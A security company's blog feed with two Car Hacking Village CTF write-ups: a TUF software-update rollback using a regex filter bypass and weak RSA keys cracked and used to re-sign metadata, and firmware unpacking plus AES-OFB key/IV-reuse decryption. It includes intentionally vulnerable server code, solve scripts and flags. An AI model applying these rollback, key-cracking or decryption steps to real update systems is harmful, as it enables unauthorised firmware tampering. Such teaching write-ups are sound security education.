Conferences – Red Balloon Security https://redballoonsecurity.com/ Defend From Within Tue, 20 Aug 2024 02:03:13 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.1 https://redballoonsecurity.com/wp-content/uploads/2021/11/RBS_logo_red-150x150.png Conferences – Red Balloon Security https://redballoonsecurity.com/ 32 32 Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village https://redballoonsecurity.com/dc32-car-hacking-ctf/ https://redballoonsecurity.com/dc32-car-hacking-ctf/#respond Sun, 18 Aug 2024 20:47:08 +0000 https://redballoonsecurity.com/?p=10068

Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village

Red Balloon Security recently returned from the DEF CON hacking conference in Las Vegas, where, among other activities, we brought two computer security challenges to the Car Hacking Village (CHV) Capture The Flag (CTF) competition. The grand prize for the competition was a 2021 Tesla, and second place was several thousand dollars of NXP development kits, so we wanted to make sure our challenge problems were appropriately difficult. This competition was also a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.

The goal of our challenges was to force competitors to learn about secure software updates and The Update Framework (TUF), which is commonly used for securing software updates. We originally wanted to build challenge problems around defeating Uptane, an automotive-specific variant of TUF, however, there is no well-supported, public version of Uptane that we could get working, so we built the challenges around Uptane’s more general ancestor TUF instead. Unlike Uptane, TUF is well-supported with several up-to-date, maintained, open source implementations.

Our two CTF challenges were designed to be solved in order – the first challenge had to be completed to begin the second. Both involved circumventing the guarantees of TUF to perform a software rollback.

Besides forcing competitors to learn the ins and outs of TUF, the challenges were designed to impress upon them that software update frameworks like TUF are only secure if they are used properly, and if they are used with secure cryptographic keys. If either of these assumptions is violated, the security of software updates can be compromised.

Both challenges ran on a Rivain Telematics Control Module (TCM) at DEF CON.

Challenge 1: Secure Updates are TUF

Challenge participants were given the following information:

  • Category: exploitation, reverse engineering

  • Description: I set up secure software updates using TUF. That way nobody can do a software rollback! Right? To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: easy

  • Solve Criteria: found flag

  • Tools Required: none

In addition to the description above, participants were given a tarball with the source of the software update script using the python-tuf library, and the TUF repository with the signed metadata and update files served over HTTP to the challenge server, which acts as a TUF client.

The run.sh script to start up the TUF server and challenge server:

				
					#!/bin/sh

set -euxm

# tuf and cryptography dependencies installed in virtual environment
source ~/venv/bin/activate

(python3 -m http.server --bind 0 --directory repository/ 38001 2>&1) | tee /tmp/web_server.log &

while sleep 3; do 
  python3 challenge_server.py --tuf-server http://localhost:38001 --server-port 38002 || fg
done

				
			

The main challenge_server.py:

				
					#!/usr/bin/env -S python3 -u
"""
Adapted from:
https://github.com/theupdateframework/python-tuf/tree/f8deca31ccea22c30060f259cb7ef2588b9c6baa/examples/client
"""


import argparse
import inspect
import json
import os
import re
import socketserver
import sys
from urllib import request

from tuf.ngclient import Updater


def parse_args():
    parser = argparse.ArgumentParser()
    for parameter in inspect.signature(main).parameters.values():
        if parameter.name.startswith("_"):
            continue
        if "KEYWORD" in parameter.kind.name:
            parser.add_argument(
                "--" + parameter.name.replace("_", "-"),
                default=parameter.default,
            )
    return parser.parse_args()


def semver(s):
    return tuple(s.lstrip("v").split("."))


def name_matches(name, f):
    return re.match(name, f)


def readline():
    result = []
    c = sys.stdin.read(1)
    while c != "\n":
        result.append(c)
        c = sys.stdin.read(1)
    result.append(c)
    return "".join(result)


class Handler(socketserver.BaseRequestHandler):
    def __init__(self, *args, tuf_server=None, updater=None, **kwargs):
        self.tuf_server = tuf_server
        self.updater = updater
        super().__init__(*args, **kwargs)

    def handle(self):
        self.request.settimeout(10)
        os.dup2(self.request.fileno(), sys.stdin.fileno())
        os.dup2(self.request.fileno(), sys.stdout.fileno())

        print("Welcome to the firmware update admin console!")
        print("What type of firmware would you like to download from the TUF server?")
        print(
            "Whichever type you pick, we will pull the latest version from the server."
        )
        print("Types:")
        with request.urlopen(f"{self.tuf_server}/targets.json") as response:
            targets = json.load(response)
        all_target_files = list(targets["signed"]["targets"].keys())
        print("-", "\n- ".join({file.split("_")[0] for file in all_target_files}))

        print("Enter type name: ")
        name = readline().strip()
        if "." in name:
            # People were trying to bypass our version check with regex tricks! Not allowed!
            print("Not allowed!")
            return
        filenames = list(
            sorted(
                [f for f in all_target_files if name_matches(name, f)],
                key=lambda s: semver(s),
            )
        )
        if len(filenames) == 0:
            print("Sorry, file not found!")
            return
        filename = filenames[-1]

        print(f"Downloading {filename}")

        info = self.updater.get_targetinfo(filename)
        if info is None:
            print("Sorry, file not found!")
            return

        with open("/dev/urandom", "rb") as f:
            name = f.read(8).hex()
        path = self.updater.download_target(
            info,
            filepath=f"/tmp/{name}.{os.path.basename(info.path)}",
        )
        os.chmod(path, 0o755)

        print(f"Running {filename}")
        child = os.fork()
        if child == 0:
            os.execl(path, path)
        else:
            os.wait()
            os.remove(path)


def main(tuf_server="http://localhost:8001", server_port="8002", **_):
    repo_metadata_dir = "/tmp/tuf_server_metadata"
    if not os.path.isdir(repo_metadata_dir):
        if os.path.exists(repo_metadata_dir):
            raise RuntimeError(
                f"{repo_metadata_dir} already exists and is not a directory"
            )
        os.mkdir(repo_metadata_dir)
        with request.urlopen(f"{tuf_server}/root.json") as response:
            root = json.load(response)
        with open(f"{repo_metadata_dir}/root.json", "w") as f:
            json.dump(root, f, indent=2)

    updater = Updater(
        metadata_dir=repo_metadata_dir,
        metadata_base_url=tuf_server + "/metadata/",
        target_base_url=tuf_server + "/targets/",
    )
    updater.refresh()

    def return_handler(*args, **kwargs):
        return Handler(*args, **kwargs, tuf_server=tuf_server, updater=updater)

    print("Running server")
    with socketserver.ForkingTCPServer(
        ("0", int(server_port)), return_handler
    ) as server:
        server.serve_forever()


if __name__ == "__main__":
    main(**parse_args().__dict__)

				
			

Also included were TUF-tracked files tcmupdate_v0.{2,3,4}.0.py.

The challenge server waits for TCP connections. When one is made, it prompts for a software file to download. Then it checks the TUF server for all versions of that file (using the user input in a regular expression match), and picks the latest based on parsing its version string (for example filename_v0.3.0.py parses to (0, 3, 0) ). Once it has found the latest file, it downloads it using the TUF client functionality from the TUF library.

The goal of this challenge is to roll back from version 0.4.0 to version 0.3.0. The key to solving this challenge is to notice the following code:

				
					# ...

def semver(s):
    return tuple(s.lstrip("v").split("."))

def name_matches(name, f):
    return re.match(name, f)

def handle_tcp():
    # ...

    name = readline().strip()
    if "." in name:
        # People were trying to bypass our version check with regex tricks! Not allowed!
        print("Not allowed!")
        return

    filenames = list(
        sorted(
            [f for f in all_target_files if name_matches(name, f)],
            key=lambda s: semver(s),
        )
    )
    if len(filenames) == 0:
        print("Sorry, file not found!")
        return
    filename = filenames[-1]

    # ...

				
			

This code firsts filters using the regular expression, then sorts based on the version string to find the latest matching file. Notably, the name input is used directly as a regular expression.

To circumvent the logic for only downloading the latest version of a file, we can pass an input regular expression that filters out everything except for the version we want to run. Our first instinct might be to use a regular expression like the following:

tcmupdate.*0\.3\.0.*

If we try that, however, we hit the case where any input including a . character is blocked. We now need to rewrite the regular expression to match only tcmupdate_v0.3.0, but without including the . character. One of many possible solutions is:

tcmupdate_v0[^a]3[^a]0

Since the . literal is a character that is not a, the [^a] expression will match it successfully without including it directly. This input gives us the flag.

flag{It_T4ke$-More-Than_just_TUF_for_secure_updates!}

Challenge 2: One Key to Root Them All

Challenge participants were given the following information:

  • Name: One Key to Root Them All

  • Submitter: Jacob Strieb @ Red Balloon Security

  • Category: crypto, exploitation

  • Description: Even if you roll back to an old version, you’ll never be able to access the versions I have overwritten! TUF uses crypto, so it must be super secure. You will need to have solved the previous challenge to progress to this one. To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: shmedium to hard

  • Solve Criteria: found flag

  • Tools Required: none

Challenge 2 can only be attempted once challenge 1 has been completed. When challenge 1 is completed, it runs tcmupdate_v0.3.0.py on the target TCM. This prompts the user for a new TUF server address to download files from, and a new filename to download and run. The caveat is that the metadata from the original TUF server is already trusted locally, so attempts to download from a TUF server with new keys will be rejected.

In the challenge files repository/targets subdirectory, there are two versions of tcmupdate_v0.2.0.py. One of them is tracked by TUF, the other is no longer tracked by TUF. The goal is to roll back to the old version of tcmupdate_v0.2.0.py that has been overwritten and is no longer a possible target to download with the TUF downloader.

The challenge files look like this:

				
					ctf/
├── challenge_server.py
├── flag_1.txt
├── flag_2.txt
├── repository
│   ├── 1.root.json
│   ├── 1.snapshot.json
│   ├── 1.targets.json
│   ├── 2.snapshot.json
│   ├── 2.targets.json
│   ├── metadata -> .
│   ├── root.json
│   ├── snapshot.json
│   ├── targets
│   │   ├── 870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py
│   │   ├── 9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a.tcmupdate_v0.2.0.py
│   │   ├── 481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872.tcmupdate_v0.3.0.py
│   │   └── bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57.tcmupdate_v0.4.0.py
│   ├── targets.json
│   └── timestamp.json
├── requirements.txt
└── run.sh

				
			

The latest version of the TUF targets.json file is only tracking the 9bbef3... hash version of the tcmupdate_v0.2.0.py file.

				
					{
  "signed": {
    "_type": "targets",
    "spec_version": "1.0",
    "version": 2,
    "expires": "2024-10-16T21:11:07Z",
    "targets": {
      "tcmupdate_v0.2.0.py": {
        "length": 54,
        "hashes": {
          "sha512": "9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a"
        }
      },
      "tcmupdate_v0.3.0.py": {
        "length": 1791,
        "hashes": {
          "sha512": "481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872"
        }
      },
      "tcmupdate_v0.4.0.py": {
        "length": 125,
        "hashes": {
          "sha512": "bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57"
        }
      }
    }
  },
  "signatures": [
    {
      "keyid": "f1f66ca394996ea67ac7855f484d9871c8fd74e687ebab826dbaedf3b9296d14",
      "sig": "1bc2be449622a4c2b06a3c6ebe863fad8d868daf78c1e2c2922a2fe679a529a7db9a0888cd98821a66399fd36a4d5803d34c49d61b21832ff28895931539c1cca118b299c995bcd1f7b638803da481cf253e88f4e80d62e7abcc39cc92899cc540be901033793fae9253f41008bc05f70d93ef569c0d6c09644cd7dfb758c2b71e2332de7286d15cc894a51b6a6363dcde5624c68506ea54a426f7ae9055f01760c6d53f4f4f68589d89f31a01e08d45880bc28a279f8621d97ab7223c4d41ecb077176af5dd27d5c07379d99898020b23cd733e"
    }
  ]
}

				
			

Thus, in order to convince the TUF client to download the old version of tcmupdate_v0.2.0.py from a TUF file server we control, we will need to insert the correct hash into targets.json. But if we do that, we will need to resign targets.json, then rebuild and resign snapshot.json, then rebuild and resign timestamp.json. None of these things can be accomplished without the private signing key. This means that we need to crack the signing keys in order to rebuild updated TUF metadata. Luckily, inspecting the root.json file to learn about the keys indicates that the targets, snapshot, and timestamp roles all use the same RSA public-private keypair.

The key for this keypair is generated using weak RSA primes that are close to one another. This makes the key vulnerable to a Fermat factoring attack. The attack can either be performed manually using this technique, or can be performed automatically by a tool like RsaCtfTool.

After the key is cracked, we have to rebuild and resign all of the TUF metadata in sequence. This is most easily done using the go-tuf CLI from version v0.7.0 of the go-tuf library.

go install github.com/theupdateframework/go-tuf/cmd/[email protected]

This CLI expects the keys to be in JSON format and stored in the keys subdirectory (sibling directory of the repository directory). A quick Python script will convert our public and private keys in PEM format into the expected JSON.

				
					import base64
import json
import os
import sys
from nacl.secret import SecretBox
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

if len(sys.argv) < 3:
    sys.exit(f"{sys.argv[0]} <privkey> <pubkey>")

with open(sys.argv[1], "r") as f:
    private = f.read()

with open(sys.argv[2], "r") as f:
    public = f.read()

plaintext = json.dumps(
    [
        {
            "keytype": "rsa",
            "scheme": "rsassa-pss-sha256",
            "keyid_hash_algorithms": ["sha256", "sha512"],
            "keyval": {
                "private": private,
                "public": public,
            },
        },
    ]
).encode()

with open("/dev/urandom", "rb") as f:
    salt = f.read(32)
    nonce = f.read(24)
n = 65536
r = 8
p = 1

kdf = Scrypt(
    length=32,
    salt=salt,
    n=n,
    r=r,
    p=p,
)
secret_key = kdf.derive(b"redballoon")

box = SecretBox(secret_key)
ciphertext = box.encrypt(plaintext, nonce).ciphertext

print(
    json.dumps(
        {
            "encrypted": True,
            "data": {
                "kdf": {
                    "name": "scrypt",
                    "params": {
                        "N": n,
                        "r": r,
                        "p": p,
                    },
                    "salt": base64.b64encode(salt).decode(),
                },
                "cipher": {
                    "name": "nacl/secretbox",
                    "nonce": base64.b64encode(nonce).decode(),
                },
                "ciphertext": base64.b64encode(ciphertext).decode(),
            },
        },
        indent=2,
    )
)

				
			

Once we have converted all of the keys to the right format, we can run a sequence of TUF CLI commands to rebuild the metadata correctly with the cracked keys.

				
					mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

				
			

Then we run our own TUF HTTP fileserver, and point the challenge server at it to get the flag.

flag{Th15_challenge-Left_me-WE4k_in-the_$$KEYS$$}

The final solve script might look something like this:

				
					#!/bin/bash

set -meuxo pipefail

tar -xvzf rbs-chv-ctf-2024.tar.gz
cd ctf

cat repository/root.json \
  | jq \
  | grep -i 'public key' \
  | sed 's/[^-]*\(-*BEGIN PUBLIC KEY-*.*-*END PUBLIC KEY-*\).*/\1/g' \
  | sed 's/\\n/\n/g' \
  > public.pem

python3 ~/Downloads/RsaCtfTool/RsaCtfTool.py --publickey public.pem --private --output private.pem

mkdir -p keys
python3 encode_key_json.py private.pem public.pem > keys/snapshot.json
cp keys/snapshot.json keys/targets.json
cp keys/snapshot.json keys/timestamp.json

mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

python3 -m http.server --bind 0 --directory repository/ 8003 &
sleep 3
(
  echo 'tcmupdate_v0[^a]3'
  sleep 3
  echo 'http://172.28.2.169:8003'
  echo 'tcmupdate_v0.2.0.py'
) | nc 172.28.2.64 38002

kill %1

				
			

Conclusion

In addition to the CTF we brought to the DEF CON Car Hacking Village, we also set up a demonstration of our Symbiote host-based defense technology running on Rivian TCMs. These CTF challenges connect to that demo because the firmware rollbacks caused by exploiting the vulnerable CTF challenge application would (in a TCM protected by Symbiote) trigger alerts, and/or be blocked, depending on the customer’s desired configuration.

To reiterate, we hope that CTF participants enjoyed our challenges, and took away a few lessons:

  • Even if TUF is used correctly, logic bugs outside of TUF can be exploited to violate its guarantees

  • Even correct, reference implementations of TUF are vulnerable if the cryptographic keys used are weak

  • Secure software updates are tricky

  • There is no silver bullet in security; complementing secure software updates with on-device runtime attestation like Symbiote creates a layered, defense in depth strategy to ensure that attacks are thwarted
]]>
https://redballoonsecurity.com/dc32-car-hacking-ctf/feed/ 0 10068
Hacking In-Vehicle Infotainment Systems with OFRAK 3.2.0 at DEF CON 31 https://redballoonsecurity.com/ofrak-at-defcon31/ https://redballoonsecurity.com/ofrak-at-defcon31/#respond Mon, 28 Aug 2023 21:52:49 +0000 https://redballoonsecurity.com/?p=9144

Hacking In-Vehicle Infotainment Systems with OFRAK 3.2.0 at DEF CON 31

Two weeks ago, Red Balloon Security attended DEF CON 31 in Las Vegas, Nevada. In addition to sponsoring and partnering with the Car Hacking Village, where we showed off some of our latest creations, we contributed two challenges to the Car Hacking Village Capture the Flag (CTF) competition. This competition was a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.

Since it’s been a little while since DEF CON ended, we figured we’d share a write-up of how we would go about solving the challenges. Alternatively, here is a link to an OFRAK Project (new feature since OFRAK 3.2.0!) that includes an interactive walkthrough of the challenge solves.

Challenge 1: Inside Vehicle Infotainment (IVI)

Description: Find the flag inside the firmware, but don’t get tricked by the conn man, etc.

CTF participants start off with a mysterious, 800MB binary called ivi.bin. The description hints that the file is firmware of some sort, but doesn’t give much more info than that. IVI is an acronym for “In Vehicle Infotainment,” so we expect that the firmware will need to support a device with a graphical display and some sort of application runtime, but it is not yet clear that that info will be helpful.

To begin digging into the challenge, the first thing we do is to unpack the file with OFRAK. Then, we load the unpacked result in the GUI for further exploration.

				
					# Install OFRAK
python3 -m pip install ofrak ofrak_capstone ofrak_angr

# Unpack with OFRAK and open the unpacked firmware in the GUI
ofrak unpack --gui --backend angr ./ivi.bin

				
			

When the GUI opens, we see that the outermost layer that has been unpacked is a GZIP. By selecting the only child of the GZIP in the resource tree, and then running “Identify,” we can see that OFRAK has determined that the decompressed file is firmware in Intel Hex format.

Luckily, OFRAK has an Intel Hex unpacker built-in, so we can unpack this file to keep digging for the flag.

OFRAK unpacks the Ihex into an IhexProgram. At this point, we’re not sure if what we’re looking at is actually a program, or is a file that can unpack further. Looking at the metadata from OFRAK analysis in the bottom left pane of the GUI, we note that the file has only one, large segment. This suggests that it is not a program, but rather some other file packed up in IHEX format.

If we run “Identify” on the unpacked IhexProgram, OFRAK confirms that the “program” is actually GZIP compressed data.

To gather more information, we can make OFRAK run Binwalk analysis. This will happen automatically when clicking the “Analyze” button, or we can use the “Run Component” button to run the Binwalk analyzer manually.

Binwalk tends to have a lot of false positives, but in this case, it confirms that this resource is probably a GZIP. Since we know this, we can use the “Run Component” interface to run the GzipUnpacker and see what is inside.

Running “Identify” on the decompressed resource shows that there was a TAR archive inside. Since OFRAK can handle this easily, we click “Unpack” on the TAR. Inside of the archive, there are three files:

  • qemu.sh
  • bzImage
  • agl-ivi-demo-platform-html5-qemux86-64.ext4
 

The first file is a script to emulate the IVI system inside QEMU. The second file is the kernel for the IVI system. And the third file is the filesystem for the IVI.

Based on the bzImage kernel, the flags for QEMU in the script, and the EXT4 filesystem format, we can assume that the IVI firmware is Linux-based. Moreover, we can guess that AGL in the filename stands for “Automotive Grade Linux,” which is a big hint about what type of Linux applications we’ll encounter when we delve deeper.

Since the description talks about “conn man” and “etc,” we have a hint that it makes sense to look for the flag in the filesystem, instead of the kernel.

OFRAK has no problem with EXT filesystems, so we can select that resource and hit “Unpack” to explore this firmware further.

From here, there are two good paths to proceed. The easiest one is to use OFRAK’s new search feature to look for files containing the string flag{, which is the prefix for flags in this competition.

The second is to notice that in the hint, it mentions etc and connman, both of which are folders inside the AGL filesystem.

Navigating into the /etc/connman folder, we see a file called flag1.txt. Viewing this gives us the first flag!

flag{unp4ck_b33p_b00p_pack}

Challenge 2: Initialization Vector Infotainment (IVI)

Description: IVe heard there is a flag in the mechanic area, but you can’t decrypt it without a password… Right?

The hint provided with the challenge download makes it clear that this second challenge is in the same unpacked firmware as the first one. As such, the natural first step is to go looking for the “mechanic area” to find the flag.

One option is to use the qemu.sh script to try and emulate the IVI. Then it might become apparent what the description means by “mechanic area.” However, this is not necessary if you know that “apps” for Automotive Grade Linux are stored in /usr/wam_apps/<app name> in the filesystem.

Navigating directly to that directory, we can see that there is an app called html5-mecharea. One subdirectory of that folder is called chunks, and contains many files with the name flag.XXX.png. This is a pretty good hint that we’re on the right track.

The only problem is that if we try to view any of those PNG files, they appear corrupted.

Poking around the folder a bit more, we see two useful files: create.go, and app/src/App.svelte. It looks like create.go was used to break an image with the flag into chunks, and then encrypt them separately. App.svelte is responsible for taking a password from a user, and using that to try and decrypt the chunks into a viewable image.

create.go seems to be a Golang program to generate a (truly) random password string, use PBKDF2 to generate an AES key from the password, generate a truly random IV, break an image into 1024-byte chunks, encrypt each chunk with AES in OFB mode using the same key and IV, and then dump the encrypted chunks to disk.

Similarly, App.svelte does the inverse process: get a passphrase from a user, do PBKDF2 key derivation, load chunks of an image and try to decrypt them, then concatenate and display the decrypted result.

Looking at these two source files, it’s not apparent that the implementation of randomness or the crypto functions themselves are unsafe. Instead, the most eyebrow-raising aspect (as hinted by the challenge description and title) is the reuse of the same key and Initialization Vector for every chunk of plaintext.

In the OFB mode of AES, the key and IV are the inputs to the AES block cipher, and the output is chained into the next block. Then all of the blocks are used as the source of randomness for a one-time pad. Specifically, they are XORed with the plaintext to get the ciphertext. In other words, the same key and IV generate the same “randomness,” which is then XORed with each plaintext chunk to make a ciphertext chunk.

One fun feature of the XOR function is that any value is its own inverse under XOR. The XOR function is also commutative and associative. This means that the following is true if rand_1 == rand_2, which they will be because the same key and IV generate the same randomness:

cipher_1 XOR cipher_2 == (plain_1 XOR rand_1) XOR (plain_2 XOR rand_2) 
                      == (plain_1 XOR plain_2) XOR (rand_1 XOR rand_2) 
                      == (plain_1 XOR plain_2) XOR 0000000 ... 0000000
                      == plain_1 XOR plain_2

To reiterate: the resuse of the same key and IV tell us that the rand_N values will be the same for all of the ciphertexts. This tells us that the result of XORing any two ciphertexts together (when the same key and IV are used in OFB mode) is the two plaintexts XORed together.

Luckily, based on a closer inspection of the source, one of the chunks is saved unencrypted in the chunks folder. This is used in the code for determining if the passphrase is correct, and that the beginning of the image was successfully decrypted. But we can use it to XOR out the resulting parts of the plaintext. Therefore, we are able to do the following for every ciphertext chunk number N to eventually get back all of the plain text:

plain_1 XOR cipher_1 XOR cipher_N == plain_1 XOR (plain_1 XOR plain_N)
(by above reasoning) == (plain_1 XOR plain_1) XOR plain_N == 00000000 ... 00000000 XOR plain_N == plain_N

The last step is to write a little code to do this for us. A simple solution in Golang is included below, but should be straightforward to do in your favorite programming language.

				
					package main

import (
	"crypto/aes"
	"crypto/subtle"
	"os"
	"sort"
)

func main() {
	outfile, _ := os.Create("outfile.png")

	os.Chdir("chunks")
	chunkdir, _ := os.Open(".")
	filenames, _ := chunkdir.Readdirnames(0)
	sort.Strings(filenames)

	var lastEncrypted []byte = nil
	lastDecrypted, _ := os.ReadFile("flag.unencrypted.png")
	for _, filename := range filenames {
		if filename == "flag.unencrypted.png" {
			continue
		}

		data, _ := os.ReadFile(filename)
		encryptedData := data[aes.BlockSize:]
		xorData := make([]byte, len(encryptedData))

		if lastEncrypted != nil {
			outfile.Write(lastDecrypted)
			subtle.XORBytes(xorData, encryptedData, lastEncrypted)
			subtle.XORBytes(lastDecrypted, lastDecrypted, xorData)
		}

		lastEncrypted = encryptedData
	}

	outfile.Write(lastDecrypted)
	outfile.Close()
}

				
			

When we do this and concatenate all of the plaintexts in the right order, we get a valid PNG image that contains the flag.

flag{cr4sh_syst3ms_n0t_c4rs}

Brief Tour of OFRAK 3.2.0

In the meantime, we published OFRAK 3.2.0 to PyPI on August 10!

 

As always, a detailed list of changes can be viewed in the OFRAK Changelog.

 

We’ve had several new features and quality of life improvements since our last major release.

Projects

OFRAK 3.2.0 introduces OFRAK Projects. Projects are collections of OFRAK scripts and binaries that help users organize, save, and share their OFRAK work. Acessable from the main OFRAK start page, users can now create, continue or clone an OFRAK project with ease. With an OFRAK Project you can run scripts on startup, easily access them from the OFRAK Resource interface, and link them to their relavent binaries. Open our example project to get started and then share your projects with the world, we can’t wait to see what you make!

Search Bars

OFRAK 3.2.0 also introduces a long awaited feature, search bars. Two new search bars are available in the OFRAK Resource interface, one in the Resource Tree pane, and one in the Hex View pane. Each search bar allows the user to search for exact, case insensitive, or regular expression strings and bytes. The Resource Tree search bar will filter the tree for resources containing the search query while the Hex View search bar will scroll to and itereate on the instances of the query. The resource search functionality is also available in the python API using resource.search_data.

Additional Changes

  • Jefferson Filesystem (JFFS) packing/repacking support.
  • Intel Hex (ihex) packing/repacking support (useful for our Car Hacking Village DEFCON challenges).
  • EXT versions 2 – 4 packing/repacking support.

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/ofrak-at-defcon31/feed/ 0 9144